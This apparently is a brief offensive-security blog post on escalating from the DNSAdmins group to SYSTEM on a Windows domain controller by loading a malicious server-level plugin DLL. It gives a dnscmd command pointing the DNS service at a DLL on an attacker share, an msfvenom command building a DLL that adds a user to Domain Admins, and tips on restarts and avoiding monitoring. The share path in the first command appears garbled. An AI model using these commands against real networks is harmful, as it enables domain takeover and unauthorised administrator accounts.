DNSAdmins to Domain Controller via server-level DLL

Jul 18, 2026 · 1 min read

The DNS management protocol lets a DNSAdmin set a ServerLevelPluginDll. The DNS service loads it on restart, executing your code as SYSTEM on the DC.

bash

dnscmd dc /config /serverlevelplugindll \attackershareevil.dll
# then trigger a service restart if you have rights, or wait for one

Build a minimal DLL that runs on load.

bash

msfvenom -p windows/x64/exec CMD='net group "Domain Admins" user /add /domain' -f dll -o evil.dll

Pro note: restarting the DNS service usually needs additional rights, so this often requires either that permission or patience for a reboot. It is well monitored, so prefer it as a last step. Newer Windows may restrict the plugin DLL path, so confirm the registry accepts a UNC before relying on it.